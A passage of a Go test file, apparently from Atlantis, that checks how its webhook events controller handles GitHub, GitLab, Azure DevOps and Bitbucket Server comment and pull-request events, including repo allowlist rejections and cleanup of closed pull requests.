for Atlantis.\\n```\"), Eq(\"\"))\n}\n\nfunc TestPost_GithubCommentNotAllowlistedWithSilenceErrors(t *testing.T) {\n\tt.Log(\"when the event is a github comment from a repo that isn't allowlisted and we are silencing errors, do not comment with an error\")\n\tRegisterMockTestingT(t)\n\tvcsClient := vcsmocks.NewMockClient()\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"null\")\n\te := events_controllers.VCSEventsController{\n\t\tLogger:                 logger,\n\t\tScope:                  scope,\n\t\tGithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{},\n\t\tCommentParser:          &events.CommentParser{ExecutableName: \"atlantis\"},\n\t\tParser:                 &events.EventParser{},\n\t\tSupportedVCSHosts:      []models.VCSHostType{models.Github},\n\t\tRepoAllowlistChecker:   &events.RepoAllowlistChecker{},\n\t\tVCSClient:              vcsClient,\n\t\tSilenceAllowlistErrors: true,\n\t}\n\trequestJSON, err := os.ReadFile(filepath.Join(\"testdata\", \"githubIssueCommentEvent_notAllowlisted.json\"))\n\tOk(t, err)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(requestJSON))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\tEquals(t, http.StatusForbidden, resp.StatusCode)\n\tbody, _ := io.ReadAll(resp.Body)\n\texp := \"repo not allowlisted\"\n\tAssert(t, strings.Contains(string(body), exp), \"exp %q to be contained in %q\", exp, string(body))\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n}\n\nfunc TestPost_GitlabCommentResponse(t *testing.T) {\n\t// When the event is a gitlab comment that warrants a comment response we comment back.\n\te, _, gl, _, _, _, _, vcsClient, cp := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil)\n\tWhen(cp.Parse(\"\", models.Gitlab)).ThenReturn(events.CommentParseResult{CommentResponse: \"a comment\"})\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tvcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(0), Eq(\"a comment\"), Eq(\"\"))\n\tResponseContains(t, w, http.StatusOK, \"Commenting back on pull request\")\n}\n\nfunc TestPost_GithubCommentResponse(t *testing.T) {\n\tt.Log(\"when the event is a github comment that warrants a comment response we comment back\")\n\te, v, _, _, p, _, _, vcsClient, cp := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\tevent := `{\"action\": \"created\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tbaseRepo := models.Repo{}\n\tuser := models.User{}\n\tWhen(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil)\n\tWhen(cp.Parse(\"\", models.Github)).ThenReturn(events.CommentParseResult{CommentResponse: \"a comment\"})\n\tw := httptest.NewRecorder()\n\n\te.Post(w, req)\n\tvcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(baseRepo), Eq(1), Eq(\"a comment\"), Eq(\"\"))\n\tResponseContains(t, w, http.StatusOK, \"Commenting back on pull request\")\n}\n\nfunc TestPost_GitlabCommentSuccess(t *testing.T) {\n\tt.Log(\"when the event is a gitlab comment with a valid command we call the command handler\")\n\te, _, gl, _, _, cr, _, _, cp := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tcmd := events.CommentCommand{}\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil)\n\tWhen(cp.Parse(Any[string](), Eq(models.Gitlab))).ThenReturn(events.CommentParseResult{Command: &cmd})\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Processing...\")\n\n\tcr.VerifyWasCalledOnce().RunCommentCommand(models.Repo{}, &models.Repo{}, nil, models.User{}, 0, &cmd)\n}\n\nfunc TestPost_GithubCommentSuccess(t *testing.T) {\n\tt.Log(\"when the event is a github comment with a valid command we call the command handler\")\n\te, v, _, _, p, cr, _, _, cp := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\tevent := `{\"action\": \"created\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tbaseRepo := models.Repo{}\n\tuser := models.User{}\n\tcmd := events.CommentCommand{}\n\tWhen(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil)\n\tWhen(cp.Parse(\"\", models.Github)).ThenReturn(events.CommentParseResult{Command: &cmd})\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Processing...\")\n\n\tcr.VerifyWasCalledOnce().RunCommentCommand(baseRepo, nil, nil, user, 1, &cmd)\n}\n\nfunc TestPost_GithubCommentReaction(t *testing.T) {\n\tt.Log(\"when the event is a github comment with a valid command we call the ReactToComment handler\")\n\te, v, _, _, p, _, _, vcsClient, cp := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\ttestComment := \"atlantis plan\"\n\tevent := fmt.Sprintf(`{\"action\": \"created\", \"comment\": {\"body\": \"%v\", \"id\": 1}}`, testComment)\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tbaseRepo := models.Repo{}\n\tuser := models.User{}\n\tcmd := events.CommentCommand{Name: command.Plan}\n\tWhen(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil)\n\tWhen(cp.Parse(testComment, models.Github)).ThenReturn(events.CommentParseResult{Command: &cmd})\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Processing...\")\n\n\tvcsClient.VerifyWasCalledOnce().ReactToComment(Any[logging.SimpleLogging](), Eq(baseRepo), Eq(1), Eq(int64(1)), Eq(\"eyes\"))\n}\n\nfunc TestPost_GilabCommentReaction(t *testing.T) {\n\tt.Log(\"when the event is a gitlab comment with a valid command we call the ReactToComment handler\")\n\te, _, gl, _, _, _, _, vcsClient, cp := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tcmd := events.CommentCommand{}\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil)\n\tWhen(cp.Parse(Any[string](), Eq(models.Gitlab))).ThenReturn(events.CommentParseResult{Command: &cmd})\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Processing...\")\n\tvcsClient.VerifyWasCalledOnce().ReactToComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(0), Eq(int64(0)), Eq(\"eyes\"))\n}\n\nfunc TestPost_GithubPullRequestInvalid(t *testing.T) {\n\tt.Log(\"when the event is a github pull request with invalid data we return a 400\")\n\te, v, _, _, p, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"pull_request\")\n\n\tevent := `{\"action\": \"closed\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tWhen(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(models.PullRequest{}, models.OpenedPullEvent, models.Repo{}, models.Repo{}, models.User{}, errors.New(\"err\"))\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"parsing pull data: err\")\n}\n\nfunc TestPost_GitlabMergeRequestInvalid(t *testing.T) {\n\tt.Log(\"when the event is a gitlab merge request with invalid data we return a 400\")\n\te, _, gl, _, p, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil)\n\trepo := models.Repo{}\n\tpullRequest := models.PullRequest{State: models.ClosedPullState}\n\tWhen(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, errors.New(\"err\"))\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"Error parsing webhook: err\")\n}\n\nfunc TestPost_GithubPullRequestNotAllowlisted(t *testing.T) {\n\tt.Log(\"when the event is a github pull request to a non-allowlisted repo we return a 400\")\n\te, v, _, _, _, _, _, _, _ := setup(t)\n\tvar err error\n\te.RepoAllowlistChecker, err = events.NewRepoAllowlistChecker(\"github.com/nevermatch\")\n\tOk(t, err)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"pull_request\")\n\n\tevent := `{\"action\": \"closed\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusForbidden, \"pull request event from non-allowlisted repo\")\n}\n\nfunc TestPost_GitlabMergeRequestNotAllowlisted(t *testing.T) {\n\tt.Log(\"when the event is a gitlab merge request to a non-allowlisted repo we return a 400\")\n\te, _, gl, _, p, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\n\tvar err error\n\te.RepoAllowlistChecker, err = events.NewRepoAllowlistChecker(\"github.com/nevermatch\")\n\tOk(t, err)\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil)\n\trepo := models.Repo{}\n\tpullRequest := models.PullRequest{State: models.ClosedPullState}\n\tWhen(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil)\n\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusForbidden, \"pull request event from non-allowlisted repo\")\n}\n\nfunc TestPost_GithubPullRequestUnsupportedAction(t *testing.T) {\n\tt.Skip(\"relies too much on mocks, should use real event parser\")\n\te, v, _, _, _, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"pull_request\")\n\n\tevent := `{\"action\": \"unsupported\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tw := httptest.NewRecorder()\n\te.Parser = &events.EventParser{}\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring non-actionable pull request event\")\n}\n\nfunc TestPost_GitlabMergeRequestUnsupportedAction(t *testing.T) {\n\tt.Skip(\"relies too much on mocks, should use real event parser\")\n\tt.Log(\"when the event is a gitlab merge request to a non-allowlisted repo we return a 400\")\n\te, _, gl, _, p, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tvar event gitlab.MergeEvent\n\tevent.ObjectAttributes.Action = \"unsupported\"\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil)\n\trepo := models.Repo{}\n\tpullRequest := models.PullRequest{State: models.ClosedPullState}\n\tWhen(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, repo, repo, models.User{}, nil)\n\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring non-actionable pull request event\")\n}\n\nfunc TestPost_AzureDevopsPullRequestIgnoreEvent(t *testing.T) {\n\tt.Log(\"when the event is an azure devops pull request update that should not trigger workflow we ignore it\")\n\te, _, _, ado, _, _, _, _, _ := setup(t)\n\n\tevent := `{\n\t\t\"subscriptionId\": \"11111111-1111-1111-1111-111111111111\",\n\t\t\"notificationId\": 1,\n\t\t\"id\": \"22222222-2222-2222-2222-222222222222\",\n\t\t\"eventType\": \"git.pullrequest.updated\",\n\t\t\"publisherId\": \"tfs\",\n\t\t\"message\": {\n\t\t\t\"text\": \"Dev %s pull request 1 (Name in repo)\"\n\t\t},\n\t\t\"resource\": {}}`\n\n\tcases := []struct {\n\t\tmessage string\n\t}{\n\t\t{\n\t\t\t\"has changed the reviewer list on\",\n\t\t},\n\t\t{\n\t\t\t\"has approved\",\n\t\t},\n\t\t{\n\t\t\t\"has approved and left suggestions on\",\n\t\t},\n\t\t{\n\t\t\t\"is waiting for the author on\",\n\t\t},\n\t\t{\n\t\t\t\"rejected\",\n\t\t},\n\t\t{\n\t\t\t\"voted on\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.message, func(t *testing.T) {\n\t\t\tpayload := fmt.Sprintf(event, c.message)\n\t\t\treq, _ := http.NewRequest(\"GET\", \"\", strings.NewReader(payload))\n\t\t\treq.Header.Set(azuredevopsHeader, \"reqID\")\n\t\t\tWhen(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil)\n\t\t\tw := httptest.NewRecorder()\n\t\t\te.Parser = &events.EventParser{}\n\t\t\te.Post(w, req)\n\t\t\tResponseContains(t, w, http.StatusOK, \"pull request updated event is not a supported type\")\n\t\t})\n\t}\n}\n\nfunc TestPost_AzureDevopsPullRequestDeletedCommentIgnoreEvent(t *testing.T) {\n\tt.Log(\"when the event is an azure devops pull request deleted comment event we ignore it\")\n\te, _, _, ado, _, _, _, _, _ := setup(t)\n\n\tpayload := `{\n\t\t\"subscriptionId\": \"11111111-1111-1111-1111-111111111111\",\n\t\t\"notificationId\": 1,\n\t\t\"id\": \"22222222-2222-2222-2222-222222222222\",\n\t\t\"eventType\": \"ms.vss-code.git-pullrequest-comment-event\",\n\t\t\"publisherId\": \"tfs\",\n\t\t\"message\": {\n\t\t\t\"text\": \"Dev has deleted a pull request comment\"\n\t\t},\n\t\t\"resource\": {\n\t\t\t\"comment\": {\n\t\t\t\t\"id\": 1,\n\t\t\t\t\"isDeleted\": true,\n\t\t\t\t\"commentType\": \"text\"\n\t\t\t}\n\t\t}\n\t}`\n\n\tt.Run(\"Dev has deleted a pull request comment\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"\", strings.NewReader(payload))\n\t\treq.Header.Set(azuredevopsHeader, \"reqID\")\n\t\tWhen(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil)\n\t\tw := httptest.NewRecorder()\n\t\te.Parser = &events.EventParser{}\n\t\te.Post(w, req)\n\t\tResponseContains(t, w, http.StatusOK, \"Ignoring comment event since it is linked to deleting a pull request comment\")\n\t})\n}\n\nfunc TestPost_AzureDevopsPullRequestCommentWebhookTestIgnoreEvent(t *testing.T) {\n\tt.Log(\"when the event is an azure devops webhook test we ignore it\")\n\te, _, _, ado, _, _, _, _, _ := setup(t)\n\n\tevent := `{\n\t\t\"subscriptionId\": \"11111111-1111-1111-1111-111111111111\",\n\t\t\"notificationId\": 1,\n\t\t\"id\": \"22222222-2222-2222-2222-222222222222\",\n\t\t\"eventType\": \"%s\",\n\t\t\"publisherId\": \"tfs\",\n\t\t\"message\": {\n\t\t\t\"text\": \"%s\"\n\t\t},\n\t\t\"resource\": {\n\t\t\t\"pullRequest\": {\n\t\t\t\t\"repository\":{\n\t\t\t\t\t\"url\": \"https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"comment\": {\n\t\t\t\t\"content\": \"This is my comment.\"\n\t\t\t}\n\t\t}}`\n\n\tcases := []struct {\n\t\teventType string\n\t\tmessage   string\n\t}{\n\t\t{\n\t\t\t\"ms.vss-code.git-pullrequest-comment-event\",\n\t\t\t\"Jamal Hartnett has edited a pull request comment\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.message, func(t *testing.T) {\n\t\t\tpayload := fmt.Sprintf(event, c.eventType, c.message)\n\t\t\treq, _ := http.NewRequest(\"GET\", \"\", strings.NewReader(payload))\n\t\t\treq.Header.Set(azuredevopsHeader, \"reqID\")\n\t\t\tWhen(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil)\n\t\t\tw := httptest.NewRecorder()\n\t\t\te.Parser = &events.EventParser{}\n\t\t\te.Post(w, req)\n\t\t\tResponseContains(t, w, http.StatusOK, \"Ignoring Azure DevOps Test Event with Repo URL\")\n\t\t})\n\t}\n}\n\nfunc TestPost_AzureDevopsPullRequestWebhookTestIgnoreEvent(t *testing.T) {\n\tt.Log(\"when the event is an azure devops webhook tests we ignore it\")\n\te, _, _, ado, _, _, _, _, _ := setup(t)\n\n\tevent := `{\n\t\t\"subscriptionId\": \"11111111-1111-1111-1111-111111111111\",\n\t\t\"notificationId\": 1,\n\t\t\"id\": \"22222222-2222-2222-2222-222222222222\",\n\t\t\"eventType\": \"%s\",\n\t\t\"publisherId\": \"tfs\",\n\t\t\"message\": {\n\t\t\t\"text\": \"%s\"\n\t\t},\n\t\t\"resource\": {\n\t\t\t\"repository\":{\n\t\t\t\t\"url\": \"https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079\"\n\t\t\t}\n\t\t}}`\n\n\tcases := []struct {\n\t\teventType string\n\t\tmessage   string\n\t}{\n\t\t{\n\t\t\t\"git.pullrequest.created\",\n\t\t\t\"Jamal Hartnett created a new pull request\",\n\t\t},\n\t\t{\n\t\t\t\"git.pullrequest.updated\",\n\t\t\t\"Jamal Hartnett marked the pull request as completed\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.message, func(t *testing.T) {\n\t\t\tpayload := fmt.Sprintf(event, c.eventType, c.message)\n\t\t\treq, _ := http.NewRequest(\"GET\", \"\", strings.NewReader(payload))\n\t\t\treq.Header.Set(azuredevopsHeader, \"reqID\")\n\t\t\tWhen(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil)\n\t\t\tw := httptest.NewRecorder()\n\t\t\te.Parser = &events.EventParser{}\n\t\t\te.Post(w, req)\n\t\t\tResponseContains(t, w, http.StatusOK, \"Ignoring Azure DevOps Test Event with Repo URL\")\n\t\t})\n\t}\n}\n\nfunc TestPost_AzureDevopsPullRequestCommentPassingIgnores(t *testing.T) {\n\tt.Log(\"when the event should not be ignored it should pass through all ignore statements without error\")\n\te, _, _, ado, _, _, _, _, cp := setup(t)\n\n\ttestComment := \"atlantis plan\"\n\trepo := models.Repo{}\n\tcmd := events.CommentCommand{Name: command.Plan}\n\tWhen(e.Parser.ParseAzureDevopsRepo(Any[*azuredevops.GitRepository]())).ThenReturn(repo, nil)\n\tWhen(cp.Parse(testComment, models.AzureDevops)).ThenReturn(events.CommentParseResult{Command: &cmd})\n\tpayload := fmt.Sprintf(`{\n\t\t\"subscriptionId\": \"11111111-1111-1111-1111-111111111111\",\n\t\t\"notificationId\": 1,\n\t\t\"id\": \"22222222-2222-2222-2222-222222222222\",\n\t\t\"eventType\": \"ms.vss-code.git-pullrequest-comment-event\",\n\t\t\"publisherId\": \"tfs\",\n\t\t\"message\": {\n\t\t\t\"text\": \"Testing to see if comment passes ignore conditions\"\n\t\t},\n\t\t\"resource\": {\n\t\t\t\"comment\": {\n\t\t\t\t\"id\": 1,\n\t\t\t\t\"commentType\": \"text\",\n\t\t\t\t\"content\": \"%v\"\n\t\t\t},\n\t\t\t\"pullRequest\": {\n\t\t\t\t\"pullRequestId\": 1,\n\t\t\t\t\"repository\": {}\n\t\t\t}\n\t\t}\n\t}`, testComment)\n\n\tt.Run(\"Testing to see if comment passes ignore conditions\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"\", strings.NewReader(payload))\n\t\treq.Header.Set(azuredevopsHeader, \"reqID\")\n\t\tWhen(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil)\n\t\tw := httptest.NewRecorder()\n\t\te.Post(w, req)\n\t\tResponseContains(t, w, http.StatusOK, \"Processing...\")\n\t})\n}\n\nfunc TestPost_GithubPullRequestClosedErrCleaningPull(t *testing.T) {\n\tt.Skip(\"relies too much on mocks, should use real event parser\")\n\tt.Log(\"when the event is a closed pull request and we have an error calling CleanUpPull we return a 503\")\n\tRegisterMockTestingT(t)\n\te, v, _, _, p, _, c, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"pull_request\")\n\n\tevent := `{\"action\": \"closed\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\trepo := models.Repo{}\n\tpull := models.PullRequest{State: models.ClosedPullState}\n\tWhen(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil)\n\tWhen(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pull)).ThenReturn(errors.New(\"cleanup err\"))\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusInternalServerError, \"Error cleaning pull request: cleanup err\")\n}\n\nfunc TestPost_GitlabMergeRequestClosedErrCleaningPull(t *testing.T) {\n\tt.Skip(\"relies too much on mocks, should use real event parser\")\n\tt.Log(\"when the event is a closed gitlab merge request and an error occurs calling CleanUpPull we return a 500\")\n\te, _, gl, _, p, _, c, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tvar event gitlab.MergeEvent\n\tevent.ObjectAttributes.Action = \"close\"\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil)\n\trepo := models.Repo{}\n\tpullRequest := models.PullRequest{State: models.ClosedPullState}\n\tWhen(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil)\n\tWhen(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pullRequest)).ThenReturn(errors.New(\"err\"))\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusInternalServerError, \"Error cleaning pull request: err\")\n}\n\nfunc TestPost_GithubClosedPullRequestSuccess(t *testing.T) {\n\tt.Skip(\"relies too much on mocks, should use real event parser\")\n\tt.Log(\"when the event is a pull request and everything works we return a 200\")\n\te, v, _, _, p, _, c, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"pull_request\")\n\n\tevent := `{\"action\": \"closed\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\trepo := models.Repo{}\n\tpull := models.PullRequest{State: models.ClosedPullState}\n\tWhen(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil)\n\tWhen(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pull)).ThenReturn(nil)\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Pull request cleaned successfully\")\n}\n\nfunc TestPost_GitlabMergeRequestSuccess(t *testing.T) {\n\tt.Skip(\"relies too much on mocks, should use real event parser\")\n\tt.Log(\"when the event is a gitlab merge request and the cleanup works we return a 200\")\n\te, _, gl, _, p, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil)\n\trepo := models.Repo{}\n\tpullRequest := models.PullRequest{State: models.ClosedPullState}\n\tWhen(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil)\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Pull request cleaned successfully\")\n}\n\n// Test Bitbucket server pull closed events.\nfunc TestPost_BBServerPullClosed(t *testing.T) {\n\tcases := []struct {\n\t\theader string\n\t}{\n\t\t{\n\t\t\t\"pr:deleted\",\n\t\t},\n\t\t{\n\t\t\t\"pr:merged\",\n\t\t},\n\t\t{\n\t\t\t\"pr:declined\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.header, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tpullCleaner := emocks.NewMockPullCleaner()\n\t\t\tallowlist, err := events.NewRepoAllowlistChecker(\"*\")\n\t\t\tOk(t, err)\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tscope := metricstest.NewLoggingScope(t, logger, \"null\")\n\t\t\tec := &events_controllers.VCSEventsController{\n\t\t\t\tPullCleaner: pullCleaner,\n\t\t\t\tParser: &events.EventParser{\n\t\t\t\t\tBitbucketUser:      \"bb-user\",\n\t\t\t\t\tBitbucketToken:     \"bb-token\",\n\t\t\t\t\tBitbucketServerURL: \"https://bbserver.com\",\n\t\t\t\t},\n\t\t\t\tRepoAllowlistChecker: allowlist,\n\t\t\t\tSupportedVCSHosts:    []models.VCSHostType{models.BitbucketServer},\n\t\t\t\tVCSClient:            nil,\n\t\t\t\tLogger:               logger,\n\t\t\t\tScope:                scope,\n\t\t\t}\n\n\t\t\t// Build HTTP request.\n\t\t\trequestBytes, err := os.ReadFile(filepath.Join(\"testdata\", \"bb-server-pull-deleted-event.json\"))\n\t\t\t// Replace the eventKey field with our event type.\n\t\t\trequestJSON := strings.ReplaceAll(string(requestBytes), `\"eventKey\":\"pr:deleted\",`, fmt.Sprintf(`\"eventKey\":\"%s\",`, c.header))\n\t\t\tOk(t, err)\n\t\t\treq, err := http.NewRequest(\"POST\", \"/events\", bytes.NewBuffer([]byte(requestJSON)))\n\t\t\tOk(t, err)\n\t\t\treq.Header.Set(\"Content-Type\", \"application/json\")\n\t\t\treq.Header.Set(\"X-Event-Key\", c.header)\n\t\t\treq.Header.Set(\"X-Request-ID\", \"request-id\")\n\n\t\t\t// Send the request.\n\t\t\tw := httptest.NewRecorder()\n\t\t\tec.Post(w, req)\n\n\t\t\t// Make our assertions.\n\t\t\tResponseContains(t, w, 200, \"Pull request cleaned successfully\")\n\n\t\t\texpRepo := models.Repo{\n\t\t\t\tFullName:          \"project/repository\",\n\t\t\t\tOwner:             \"project\",\n\t\t\t\tName:              \"repository\",\n\t\t\t\tCloneURL:          \"https://bb-user:bb-token@bbserver.com/scm/proj/repository.git\",\n\t\t\t\tSanitizedCloneURL: \"https://bb-user:<redacted>@bbserver.com/scm/proj/repository.git\",\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tHostname: \"bbserver.com\",\n\t\t\t\t\tType:     models.BitbucketServer,\n\t\t\t\t},\n\t\t\t}\n\t\t\tpullCleaner.VerifyWasCalledOnce().CleanUpPull(\n\t\t\t\tlogger,\n\t\t\t\texpRepo, models.PullRequest{\n\t\t\t\t\tNum:        10,\n\t\t\t\t\tHeadCommit: \"2d9fb6b9a46eafb1dcef7b008d1a429d45ca742c\",\n\t\t\t\t\tURL:        \"https://bbserver.com/projects/PROJ/repos/repository/pull-requests/10\",\n\t\t\t\t\tHeadBranch: \"decline-me\",\n\t\t\t\t\tBaseBranch: \"main\",\n\t\t\t\t\tAuthor:     \"admin\",\n\t\t\t\t\tState:      models.OpenPullState,\n\t\t\t\t\tBaseRepo:   expRepo,\n\t\t\t\t})\n\t\t})\n\t}\n}\n\nfunc TestPost_PullOpenedOrUpdated(t *testing.T) {\n\tcases := []struct {\n\t\tDescription string\n\t\tHostType    models.VCSHostType\n\t\tAction      string\n\t}{\n\t\t{\n\t\t\t\"github opened\",\n\t\t\tmodels.Github,\n\t\t\t\"opened\",\n\t\t},\n\t\t{\n\t\t\t\"gitlab opened\",\n\t\t\tmodels.Gitlab,\n\t\t\t\"open\",\n\t\t},\n\t\t{\n\t\t\t\"github synchronized\",\n\t\t\tmodels.Github,\n\t\t\t\"synchronize\",\n\t\t},\n\t\t{\n\t\t\t\"gitlab update\",\n\t\t\tmodels.Gitlab,\n\t\t\t\"update\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\te, v, gl, _, p, cr, _, _, _ := setup(t)\n\t\t\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\t\t\tvar pullRequest models.PullRequest\n\t\t\tvar repo models.Repo\n\n\t\t\tswitch c.HostType {\n\t\t\tcase models.Gitlab:\n\t\t\t\treq.Header.Set(gitlabHeader, \"value\")\n\t\t\t\tvar event 